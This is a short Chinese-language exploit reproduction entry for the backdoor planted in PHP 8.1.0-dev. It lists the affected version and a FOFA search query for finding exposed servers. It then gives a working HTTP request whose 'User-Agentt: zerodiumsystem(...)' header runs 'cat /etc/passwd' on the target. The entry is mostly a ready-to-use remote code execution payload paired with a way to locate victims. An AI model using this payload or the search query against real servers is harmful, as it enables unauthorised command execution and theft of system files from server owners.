P1-1PHP-RCE

漏洞描述：

PHP 8.1.0-dev 版本在2021年3月28日被植入后门，但是后门很快被发现并清除。当服务器存在该后门时，攻击者可以通过发送User-Agentt头来执行任意代码。

影响版本：

- PHP/8.1.0-dev

网站图片：

网络测绘：

fofa语法：

- fofa"PHP/8.1.0-dev"

漏洞复现：

payload：

```
GET / HTTP/1.1
Host: xx.xx.xx.xx
User-Agentt: zerodiumsystem("cat /etc/passwd");
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
```

效果图: